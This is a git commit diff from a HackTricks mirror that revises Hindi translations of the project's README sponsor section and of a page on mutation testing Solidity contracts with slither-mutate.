mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/race-condition.md', 'src/linux-harde
This commit is contained in:
parent
3f8afc1c82
commit
a798819040
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
_Hacktricks के लोगो और मोशन डिज़ाइन द्वारा_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
_Hacktricks के लोगो और मोशन डिज़ाइन द्वारा_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||||
|
|
||||||
### HackTricks स्थानीय रूप से चलाएँ
|
### HackTricks को स्थानीय रूप से चलाएँ
|
||||||
```bash
|
```bash
|
||||||
# Download latest version of hacktricks
|
# Download latest version of hacktricks
|
||||||
git clone https://github.com/HackTricks-wiki/hacktricks
|
git clone https://github.com/HackTricks-wiki/hacktricks
|
||||||
@ -39,11 +39,11 @@ Your local copy of HackTricks will be **available at [http://localhost:3337](htt
|
|||||||
|
|
||||||
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**STM Cyber**](https://www.stmcyber.com) एक बेहतरीन साइबरसिक्योरिटी कंपनी है जिसका नारा **HACK THE UNHACKABLE** है। वे अपना खुद का अनुसंधान करते हैं और अपने hacking tools विकसित करते हैं ताकि कई मूल्यवान साइबरसिक्योरिटी सेवाएं प्रदान कर सकें, जैसे pentesting, Red teams और training।
|
[**STM Cyber**](https://www.stmcyber.com) एक बेहतरीन साइबर सुरक्षा कंपनी है जिसका स्लोगन **HACK THE UNHACKABLE** है। वे अपना शोध करते हैं और अपनी खुद की hacking tools डेवलप करते हैं ताकि **कई मूल्यवान साइबर सुरक्षा सेवाएँ** प्रदान कर सकें जैसे pentesting, Red teams और training।
|
||||||
|
|
||||||
आप उनका **blog** [**https://blog.stmcyber.com**](https://blog.stmcyber.com) देख सकते हैं
|
आप उनका **ब्लॉग** यहाँ देख सकते हैं: [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||||
|
|
||||||
**STM Cyber** HackTricks जैसे साइबरसिक्योरिटी open source प्रोजेक्ट्स का भी समर्थन करते हैं :)
|
**STM Cyber** HackTricks जैसे साइबर सुरक्षा ओपन सोर्स प्रोजेक्ट्स का भी समर्थन करता है :)
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@ -51,7 +51,7 @@ Your local copy of HackTricks will be **available at [http://localhost:3337](htt
|
|||||||
|
|
||||||
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com) Spain में सबसे प्रासंगिक साइबरसिक्योरिटी इवेंट है और Europe में सबसे महत्वपूर्ण आयोजनों में से एक है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह सम्मेलन प्रौद्योगिकी और साइबरसिक्योरिटी पेशेवरों के लिए हर अनुशासन में एक प्रमुख मिलन स्थल है।
|
[**RootedCON**](https://www.rootedcon.com) **Spain** में सबसे प्रासंगिक साइबर सुरक्षा इवेंट और **Europe** में सबसे महत्वपूर्ण इवेंट्स में से एक है। **the mission of promoting technical knowledge** के साथ, यह Congress तकनीक और साइबर सुरक्षा पेशेवरों के लिए हर अनुशासन में एक सक्रिय मिलन स्थल है।
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://www.rootedcon.com/
|
https://www.rootedcon.com/
|
||||||
@ -65,7 +65,7 @@ https://www.rootedcon.com/
|
|||||||
|
|
||||||
**Intigriti** Europe की #1 ethical hacking और bug bounty platform है।
|
**Intigriti** Europe की #1 ethical hacking और bug bounty platform है।
|
||||||
|
|
||||||
**Bug bounty tip**: **sign up** for **Intigriti**, एक प्रीमियम **bug bounty platform created by hackers, for hackers**! आज ही [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर जुड़ें, और $100,000 तक की bounties कमाना शुरू करें!
|
**Bug bounty tip**: **sign up** करें **Intigriti** पर, यह hackers द्वारा, hackers के लिए बनाया गया एक premium **bug bounty platform** है! आज ही हमारे साथ जुड़ें: [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) और $100,000 तक के bounties कमाना शुरू करें!
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://go.intigriti.com/hacktricks
|
https://go.intigriti.com/hacktricks
|
||||||
@ -78,7 +78,7 @@ https://go.intigriti.com/hacktricks
|
|||||||
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) का उपयोग करके आप आसानी से workflows बनाएं और automate करें, जो दुनिया के सबसे advanced community tools द्वारा संचालित हैं।
|
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) का उपयोग करें ताकि आप आसानी से दुनिया के सबसे advanced community tools से शक्तिशाली workflows बना और automate कर सकें।
|
||||||
|
|
||||||
Get Access Today:
|
Get Access Today:
|
||||||
|
|
||||||
@ -92,13 +92,13 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
|
|||||||
|
|
||||||
<figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ताकि आप experienced hackers और bug bounty hunters के साथ संवाद कर सकें!
|
||||||
|
|
||||||
- **Hacking Insights:** उन विषयों से जुड़ें जो hacking के रोमांच और चुनौतियों में डूबते हैं
|
- **Hacking Insights:** ऐसे कंटेंट से जुड़ें जो hacking के रोमांच और चुनौतियों में गहराई तक जाता है
|
||||||
- **Real-Time Hack News:** तेज़-तर्रार hacking दुनिया की real-time news और insights के साथ अपडेट रहें
|
- **Real-Time Hack News:** रियल-टाइम खबरों और इनसाइट्स के जरिये तेज़ी से बदलती hacking दुनिया के साथ अपडेट रहें
|
||||||
- **Latest Announcements:** नए लॉन्च हो रहे bug bounties और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट्स से सूचित रहें
|
- **Latest Announcements:** नए लॉन्च होने वाले bug bounties और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट्स की जानकारी पाते रहें
|
||||||
|
|
||||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) और आज ही top hackers के साथ सहयोग शुरू करें!
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@ -108,7 +108,7 @@ Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to
|
|||||||
|
|
||||||
**Get a hacker's perspective on your web apps, network, and cloud**
|
**Get a hacker's perspective on your web apps, network, and cloud**
|
||||||
|
|
||||||
**Find and report critical, exploitable vulnerabilities with real business impact.** हमारे 20+ custom tools का उपयोग करके attack surface को map करें, उन security issues को ढूंढें जो आपको privileges escalate करने देते हैं, और automated exploits का उपयोग करके आवश्यक सबूत एकत्र करें, जिससे आपका मेहनतपूर्ण काम प्रभावी रिपोर्ट्स में बदल सके।
|
**Find and report critical, exploitable vulnerabilities with real business impact.** हमारे 20+ custom tools का उपयोग करके attack surface को map करें, उन security issues को खोजें जो privileges escalate करने देते हैं, और automated exploits का उपयोग करके आवश्यक evidence इकट्ठा करें, जिससे आपके मेहनत के नतीजे प्रभावशाली reports में बदल सकें।
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||||
@ -120,14 +120,14 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
|
|||||||
|
|
||||||
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**SerpApi** तेज़ और आसान real-time APIs प्रदान करता है ताकि आप search engine results तक पहुंच सकें। वे search engines scrape करते हैं, proxies संभालते हैं, captchas हल करते हैं, और आपके लिए सभी समृद्ध संरचित डेटा को parse करते हैं।
|
**SerpApi** तेज़ और आसान real-time APIs प्रदान करता है ताकि आप search engine results तक पहुँच सकें। वे search engines को scrape करते हैं, proxies को हैंडल करते हैं, captchas को सुलझाते हैं, और आपके लिए सभी rich structured data को parse करते हैं।
|
||||||
|
|
||||||
SerpApi की किसी भी योजना की सदस्यता में विभिन्न search engines को scrape करने के लिए 50+ अलग APIs तक पहुंच शामिल है, जिनमें Google, Bing, Baidu, Yahoo, Yandex और अन्य शामिल हैं.\
|
SerpApi की किसी भी subscription में Google, Bing, Baidu, Yahoo, Yandex और अन्य search engines के scraping के लिए 50+ अलग APIs तक पहुँच शामिल है.\
|
||||||
अन्य प्रदाताओं के विपरीत, **SerpApi सिर्फ organic results को scrape नहीं करता**। SerpApi responses लगातार सभी ads, inline images और videos, knowledge graphs, और search results में मौजूद अन्य तत्वों और फीचर्स को शामिल करते हैं।
|
अन्य प्रदाताओं के विपरीत, **SerpApi सिर्फ organic results नहीं scrape करता**। SerpApi responses में लगातार सभी ads, inline images और videos, knowledge graphs, और search results में मौजूद अन्य elements और features शामिल होते हैं।
|
||||||
|
|
||||||
Current SerpApi customers में **Apple, Shopify, and GrubHub** शामिल हैं।\
|
Current SerpApi customers में **Apple, Shopify, और GrubHub** शामिल हैं।\
|
||||||
अधिक जानकारी के लिए उनका [**blog**](https://serpapi.com/blog/) देखें, या उनके [**playground**](https://serpapi.com/playground) में एक उदाहरण आज़माएँ।\
|
अधिक जानकारी के लिए उनका [**blog**](https://serpapi.com/blog/) देखें, या उनके [**playground**](https://serpapi.com/playground) में एक उदाहरण आज़माएँ।\
|
||||||
आप यहाँ एक मुफ्त खाता बना सकते हैं: [**https://serpapi.com/users/sign_up**](https://serpapi.com/users/sign_up)
|
आप यहाँ एक free account बना सकते हैं: [**here**](https://serpapi.com/users/sign_up)**.**
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@ -135,7 +135,7 @@ Current SerpApi customers में **Apple, Shopify, and GrubHub** शामि
|
|||||||
|
|
||||||
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
मोबाइल एप्लिकेशन और डिवाइस की रक्षा करने के लिए vulnerability research, penetration testing, और reverse engineering करने के लिए आवश्यक तकनीकें और कौशल सीखें। हमारी ऑन-डिमांड कोर्सेज के माध्यम से **iOS and Android security** में महारथ हासिल करें और **get certified**:
|
वह तकनीकें और कौशल सीखें जो vulnerability research, penetration testing, और reverse engineering करने के लिए आवश्यक हैं ताकि आप mobile applications और devices की सुरक्षा कर सकें। हमारे on-demand courses के माध्यम से **iOS और Android security** में महारत हासिल करें और **get certified**:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://academy.8ksec.io/
|
https://academy.8ksec.io/
|
||||||
@ -147,13 +147,13 @@ https://academy.8ksec.io/
|
|||||||
|
|
||||||
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**WebSec**](https://websec.net) एक पेशेवर साइबरसिक्योरिटी कंपनी है जो **Amsterdam** में आधारित है और दुनिया भर के व्यवसायों को नवीनतम साइबर खतरों से बचाने में मदद करती है, आधुनिक दृष्टिकोण के साथ **offensive-security services** प्रदान करके।
|
[**WebSec**](https://websec.net) अम्स्टर्डम (Amsterdam) स्थित एक professional साइबर सुरक्षा कंपनी है जो आधुनिक दृष्टिकोण के साथ दुनिया भर के व्यवसायों को नवीनतम साइबर खतरों के खिलाफ बचाने में मदद करती है, और offensive-security services प्रदान करती है।
|
||||||
|
|
||||||
WebSec एक अंतरराष्ट्रीय security कंपनी है जिसकी ऑफिस Amsterdam और Wyoming में हैं। वे **all-in-one security services** प्रदान करते हैं, जिसका अर्थ है कि वे सब कुछ करते हैं; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing और बहुत कुछ।
|
WebSec एक अंतरराष्ट्रीय security कंपनी है जिसकी offices Amsterdam और Wyoming में हैं। वे **all-in-one security services** प्रदान करते हैं जिसका मतलब है कि वे सब कुछ करते हैं; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campaigns, Code Review, Exploit Development, Security Experts Outsourcing और बहुत कुछ।
|
||||||
|
|
||||||
WebSec के बारे में एक और अच्छी बात यह है कि उद्योग के औसत की तुलना में WebSec अपनी क्षमताओं के प्रति **बहुत आत्मविश्वासी** है, इस हद तक कि वे **best quality results** की गारंटी भी देते हैं, उनकी वेबसाइट पर लिखा है "**If we can't hack it, You don't pay it!**". अधिक जानकारी के लिए उनकी [**website**](https://websec.net/en/) और [**blog**](https://websec.net/blog/) देखें!
|
WebSec की एक और खास बात यह है कि industry average की तुलना में वे अपनी skills पर बहुत confident हैं, इस हद तक कि वे **best quality results** की गारंटी देते हैं; उनकी वेबसाइट पर लिखा है "**If we can't hack it, You don't pay it!**". अधिक जानकारी के लिए उनकी [**website**](https://websec.net/en/) और [**blog**](https://websec.net/blog/) देखें!
|
||||||
|
|
||||||
इसके अलावा WebSec HackTricks का भी **समर्पित समर्थक** है।
|
इसके अलावा WebSec HackTricks का भी **committed supporter** है।
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://www.youtube.com/watch?v=Zq2JycGDCPM
|
https://www.youtube.com/watch?v=Zq2JycGDCPM
|
||||||
@ -166,9 +166,9 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
|
|||||||
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
|
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) एक data breach (leak) search engine है. \
|
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) एक data breach (leak) search engine है. \
|
||||||
हम random string search (जैसे google) प्रदान करते हैं 모든 प्रकार के data leaks पर—बड़े और छोटे दोनों पर—कई स्रोतों के डेटा पर। \
|
हम सभी प्रकार के data leaks (बड़े और छोटे दोनों) पर random string search (जैसे google) प्रदान करते हैं -- केवल बड़े leaks ही नहीं -- और यह डेटा कई स्रोतों से आता है. \
|
||||||
People search, AI search, organization search, API (OpenAPI) access, theHarvester integration, सभी फ़ीचर्स जो एक pentester को चाहिए।\
|
People search, AI search, organization search, API (OpenAPI) access, theHarvester integration — ये सभी वे features हैं जो एक pentester को चाहिए.\
|
||||||
**HackTricks हमारे लिए सीखने का एक शानदार प्लेटफ़ॉर्म बना रहता है और हमें इसे स्पॉन्सर करते हुए गर्व है!**
|
**HackTricks हमारे लिए एक महान सीखने का प्लेटफ़ॉर्म बना रहता है और हमें इसे sponsor करते हुए गर्व है!**
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||||
@ -182,9 +182,9 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
|||||||
|
|
||||||
|
|
||||||
**Built for the field. Built around you.**\
|
**Built for the field. Built around you.**\
|
||||||
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) industry experts द्वारा निर्मित और नेतृत्व में विकसित प्रभावी साइबरसिक्योरिटी training विकसित करता और प्रदान करता है। उनके प्रोग्राम सिर्फ सिद्धांत से परे जाते हैं ताकि टीमों को गहरी समझ और actionable कौशल मिले, उन custom environments का उपयोग करके जो real-world threats को प्रतिबिंबित करते हैं। custom training के लिए inquiries हेतु हमसे यहाँ संपर्क करें [**here**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks)।
|
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) industry experts द्वारा निर्मित और संचालित प्रभावी साइबर सुरक्षा training विकसित और प्रदान करता है। उनके प्रोग्राम सिर्फ सिद्धांत तक सीमित नहीं हैं बल्कि teams को गहन समझ और actionable skills से लैस करते हैं, custom environments का उपयोग करके जो वास्तविक दुनिया के threats को प्रतिबिंबित करते हैं। कस्टम training के लिए inquiries के लिए हमसे संपर्क करें [**यहाँ**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks)।
|
||||||
|
|
||||||
**What sets their training apart:**
|
**उनकी training के अलग होने के कारण:**
|
||||||
* Custom-built content and labs
|
* Custom-built content and labs
|
||||||
* Backed by top-tier tools and platforms
|
* Backed by top-tier tools and platforms
|
||||||
* Designed and taught by practitioners
|
* Designed and taught by practitioners
|
||||||
@ -199,13 +199,13 @@ https://cyberhelmets.com/courses/?ref=hacktricks
|
|||||||
|
|
||||||
<figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
|
<figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Last Tower Solutions शिक्षा और FinTech संस्थानों के लिए विशेष साइबरसिक्योरिटी सेवाएं प्रदान करता है, विशेष रूप से penetration testing, cloud security assessments, और compliance readiness (SOC 2, PCI-DSS, NIST) पर ध्यान केंद्रित करता है। हमारी टीम में **OSCP and CISSP certified professionals** शामिल हैं, जो हर engagement में गहरी तकनीकी विशेषज्ञता और industry-standard insight लाते हैं।
|
Last Tower Solutions शिक्षा (Education) और FinTech संस्थानों के लिए विशेषीकृत साइबर सुरक्षा सेवाएँ प्रदान करता है, जिनका फोकस penetration testing, cloud security assessments, और compliance readiness (SOC 2, PCI-DSS, NIST) पर है। हमारी टीम में OSCP और CISSP प्रमाणित professionals शामिल हैं, जो हर engagement में गहरी technical expertise और industry-standard insight लाते हैं।
|
||||||
|
|
||||||
हम automated scans से आगे जाते हैं और high-stakes environments के लिए tailored manual, intelligence-driven testing प्रदान करते हैं। छात्र रिकॉर्ड सुरक्षित करने से लेकर वित्तीय लेनदेन की रक्षा करने तक, हम संगठनों को वह सुरक्षा देने में मदद करते हैं जो सबसे अधिक मायने रखती है।
|
हम automated scans से आगे जाकर **manual, intelligence-driven testing** प्रदान करते हैं जो high-stakes environments के लिए अनुकूलित होता है। छात्र रिकॉर्ड की सुरक्षा से लेकर वित्तीय लेन-देन की सुरक्षा तक, हम संगठनों को उनकी सबसे महत्वपूर्ण चीजों की रक्षा में मदद करते हैं।
|
||||||
|
|
||||||
_“A quality defense requires knowing the offense, we provide security through understanding.”_
|
_“A quality defense requires knowing the offense, we provide security through understanding.”_
|
||||||
|
|
||||||
नवीनतम साइबरसिक्योरिटी अपडेट्स के लिए उनके [**blog**](https://www.lasttowersolutions.com/blog) पर जाएँ।
|
नवीनतम साइबर सुरक्षा अपडेट्स के लिए हमारे [**blog**](https://www.lasttowersolutions.com/blog) पर जाएँ।
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://www.lasttowersolutions.com/
|
https://www.lasttowersolutions.com/
|
||||||
@ -215,11 +215,11 @@ https://www.lasttowersolutions.com/
|
|||||||
|
|
||||||
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
|
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
|
||||||
|
|
||||||
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
|
<figure><img src="images/k8studio.jpg" alt="k8studio logo"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
K8Studio IDE DevOps, DevSecOps, और developers को Kubernetes clusters को कुशलतापूर्वक manage, monitor, और secure करने में सक्षम बनाता है। हमारे AI-driven insights, advanced security framework, और intuitive CloudMaps GUI का लाभ उठाकर अपने clusters को visualize करें, उनकी स्थिति समझें, और आत्मविश्वास के साथ कार्रवाई करें।
|
K8Studio IDE DevOps, DevSecOps, और developers को सक्षम बनाता है ताकि वे Kubernetes clusters को प्रभावी तरीके से manage, monitor, और secure कर सकें। हमारे AI-driven insights, advanced security framework, और intuitive CloudMaps GUI का उपयोग करके आप अपने clusters का visualization कर सकते हैं, उनकी स्थिति समझ सकते हैं, और आत्मविश्वास के साथ कार्रवाई कर सकते हैं।
|
||||||
|
|
||||||
इसके अलावा, K8Studio सभी प्रमुख kubernetes distributions के साथ **compatible** है (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more).
|
इसके अलावा, K8Studio **सभी प्रमुख kubernetes distributions** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift और अधिक) के साथ compatible है।
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://k8studio.io/
|
https://k8studio.io/
|
||||||
@ -228,9 +228,9 @@ https://k8studio.io/
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## लाइसेंस & अस्वीकरण
|
## License & Disclaimer
|
||||||
|
|
||||||
इन्हें देखें:
|
इन्हें यहाँ देखें:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
welcome/hacktricks-values-and-faq.md
|
welcome/hacktricks-values-and-faq.md
|
||||||
|
@ -2,11 +2,11 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
Mutation testing "tests your tests" आपके Solidity कोड में व्यवस्थित रूप से छोटे बदलाव (mutants) करके और आपकी टेस्ट सूट को फिर से चलाकर किया जाता है। यदि कोई टेस्ट फेल होता है तो mutant मर जाता है (killed)। अगर टेस्ट फिर भी पास हो जाते हैं, तो mutant बच जाता है (survives), जिससे आपकी टेस्ट सूट में एक ऐसी कमी उजागर होती है जिसे line/branch coverage पकड़ नहीं पाती।
|
Mutation testing "tests your tests" व्यवस्थित रूप से आपके Solidity कोड में छोटे परिवर्तन (mutants) डालकर और आपके test suite को पुनः चलाकर काम करता है। यदि कोई टेस्ट असफल होता है, तो mutant नष्ट माना जाता है। यदि टेस्ट अभी भी पास होते हैं, तो mutant जीवित रह जाता है, जो आपके test suite में एक ऐसा अंधा स्थान उजागर करता है जिसे line/branch coverage नहीं पकड़ पाती।
|
||||||
|
|
||||||
मुख्य विचार: कवरेज दिखाता है कि कोड execute हुआ था; mutation testing दिखाता है कि व्यवहार वास्तव में assert किया गया है या नहीं।
|
Key idea: कवरेज दिखाती है कि कोड निष्पादित हुआ; mutation testing दिखाती है कि व्यवहार वास्तव में सत्यापित किया गया है या नहीं।
|
||||||
|
|
||||||
## क्यों कवरेज धोखा दे सकती है
|
## क्यों कवरेज भ्रामक हो सकती है
|
||||||
|
|
||||||
Consider this simple threshold check:
|
Consider this simple threshold check:
|
||||||
```solidity
|
```solidity
|
||||||
@ -20,20 +20,20 @@ return false;
|
|||||||
```
|
```
|
||||||
Unit tests that only check a value below and a value above the threshold can reach 100% line/branch coverage while failing to assert the equality boundary (==). A refactor to `deposit >= 2 ether` would still pass such tests, silently breaking protocol logic.
|
Unit tests that only check a value below and a value above the threshold can reach 100% line/branch coverage while failing to assert the equality boundary (==). A refactor to `deposit >= 2 ether` would still pass such tests, silently breaking protocol logic.
|
||||||
|
|
||||||
Mutation testing इस अंतर को उजागर करता है, शर्त को बदलकर और यह सत्यापित करके कि आपके परीक्षण fail हों।
|
Mutation testing exposes this gap by mutating the condition and verifying your tests fail.
|
||||||
|
|
||||||
## सामान्य Solidity mutation operators
|
## सामान्य Solidity mutation ऑपरेटर
|
||||||
|
|
||||||
Slither’s mutation engine कई छोटे, semantics-changing edits लागू करता है, जैसे:
|
Slither’s mutation engine कई छोटे, semantics-changing edits लागू करता है, जैसे:
|
||||||
- ऑपरेटर बदलना: `+` ↔ `-`, `*` ↔ `/`, आदि।
|
- ऑपरेटर प्रतिस्थापन: `+` ↔ `-`, `*` ↔ `/`, आदि।
|
||||||
- Assignment replacement: `+=` → `=`, `-=` → `=`
|
- Assignment replacement: `+=` → `=`, `-=` → `=`
|
||||||
- Constant replacement: non-zero → `0`, `true` ↔ `false`
|
- Constant replacement: non-zero → `0`, `true` ↔ `false`
|
||||||
- Condition negation/replacement `if`/loops के अंदर
|
- Condition negation/replacement `if`/loops के अंदर
|
||||||
- पूरे लाइनों को comment out करना (CR: Comment Replacement)
|
- पूरी लाइनों को टिप्पणी में बदलना (CR: Comment Replacement)
|
||||||
- किसी लाइन को `revert()` से बदलना
|
- एक लाइन को `revert()` से बदलना
|
||||||
- Data type swaps: उदाहरण के लिए, `int128` → `int64`
|
- डेटा टाइप स्वैप: उदाहरण के लिए, `int128` → `int64`
|
||||||
|
|
||||||
Goal: generated mutants में से 100% को kill करें, या जिनका बचना आवश्यक है उन्हें स्पष्ट तर्क के साथ justify करें।
|
लक्ष्य: उत्पन्न हुए 100% mutants को kill करना, या जिन survivors हैं उनके लिए स्पष्ट तर्क पेश करना।
|
||||||
|
|
||||||
## Running mutation testing with slither-mutate
|
## Running mutation testing with slither-mutate
|
||||||
|
|
||||||
@ -44,68 +44,68 @@ Requirements: Slither v0.10.2+.
|
|||||||
slither-mutate --help
|
slither-mutate --help
|
||||||
slither-mutate --list-mutators
|
slither-mutate --list-mutators
|
||||||
```
|
```
|
||||||
- Foundry उदाहरण (परिणाम कैप्चर करें और एक पूर्ण लॉग रखें):
|
- Foundry उदाहरण (परिणाम कैप्चर करें और पूरा लॉग रखें):
|
||||||
```bash
|
```bash
|
||||||
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
|
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
|
||||||
```
|
```
|
||||||
- यदि आप Foundry का उपयोग नहीं करते हैं, तो `--test-cmd` को अपने परीक्षण चलाने के तरीके से बदलें (उदा., `npx hardhat test`, `npm test`)।
|
- यदि आप Foundry का उपयोग नहीं करते हैं, तो `--test-cmd` को उस कमांड से बदलें जिससे आप टेस्ट चलाते हैं (जैसे, `npx hardhat test`, `npm test`).
|
||||||
|
|
||||||
Artifacts और रिपोर्ट्स डिफ़ॉल्ट रूप से `./mutation_campaign` में संग्रहीत होते हैं। कैच न हुए (बचे हुए) mutants निरीक्षण के लिए वहाँ कॉपी किए जाते हैं।
|
`./mutation_campaign` में डिफ़ॉल्ट रूप से आर्टिफैक्ट्स और रिपोर्ट्स स्टोर किए जाते हैं। पकड़े न गए (बचे हुए) म्यूटेंट्स निरीक्षण के लिए वहाँ कॉपी किए जाते हैं।
|
||||||
|
|
||||||
### आउटपुट को समझना
|
### Understanding the output
|
||||||
|
|
||||||
रिपोर्ट लाइनें इस तरह दिखती हैं:
|
रिपोर्ट लाइनें इस तरह दिखती हैं:
|
||||||
```text
|
```text
|
||||||
INFO:Slither-Mutate:Mutating contract ContractName
|
INFO:Slither-Mutate:Mutating contract ContractName
|
||||||
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
|
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
|
||||||
```
|
```
|
||||||
- कोष्ठक में टैग mutator उपनाम है (उदा., `CR` = Comment Replacement).
|
- ब्रैकेट में दिया टैग mutator alias है (उदा., `CR` = Comment Replacement).
|
||||||
- `UNCAUGHT` का मतलब है कि mutated व्यवहार के तहत tests पास हुए → assertion गायब है।
|
- `UNCAUGHT` का मतलब है कि mutated व्यवहार के तहत tests पास हो गए → missing assertion.
|
||||||
|
|
||||||
## रनटाइम घटाना: प्रभावशाली mutants को प्राथमिकता दें
|
## रनटाइम कम करना: प्रभावशाली म्यूटेंट्स को प्राथमिकता दें
|
||||||
|
|
||||||
Mutation अभियानों में घंटे या दिन लग सकते हैं। लागत घटाने के सुझाव:
|
Mutation campaigns कई घंटे या दिनों तक चल सकती हैं। लागत कम करने के सुझाव:
|
||||||
- Scope: पहले केवल critical contracts/directories से शुरुआत करें, फिर विस्तार करें।
|
- Scope: पहले केवल महत्वपूर्ण contracts/directories पर शुरू करें, फिर विस्तार करें।
|
||||||
- Prioritize mutators: अगर किसी लाइन पर high-priority mutant बच जाता है (उदा., पूरी लाइन comment कर दी गई), तो आप उस लाइन के लिए lower-priority variants को छोड़ सकते हैं।
|
- Prioritize mutators: यदि किसी लाइन पर high-priority mutant बचता है (उदा., पूरी लाइन commented), तो आप उस लाइन के lower-priority variants को स्किप कर सकते हैं।
|
||||||
- Parallelize tests अगर आपका runner अनुमति देता है; dependencies/builds को cache करें।
|
- अगर आपका runner अनुमति देता है तो tests को parallelize करें; dependencies/builds को cache करें।
|
||||||
- Fail-fast: जब कोई परिवर्तन स्पष्ट रूप से assertion gap दिखाता है तो जल्दी बंद कर दें।
|
- Fail-fast: जब कोई बदलाव स्पष्ट रूप से assertion gap दिखाए तो जल्दी रोक दें।
|
||||||
|
|
||||||
## Triage workflow for surviving mutants
|
## बचे हुए म्यूटेंट्स के लिए ट्राइएज वर्कफ़्लो
|
||||||
|
|
||||||
1) mutated line और व्यवहार का निरीक्षण करें।
|
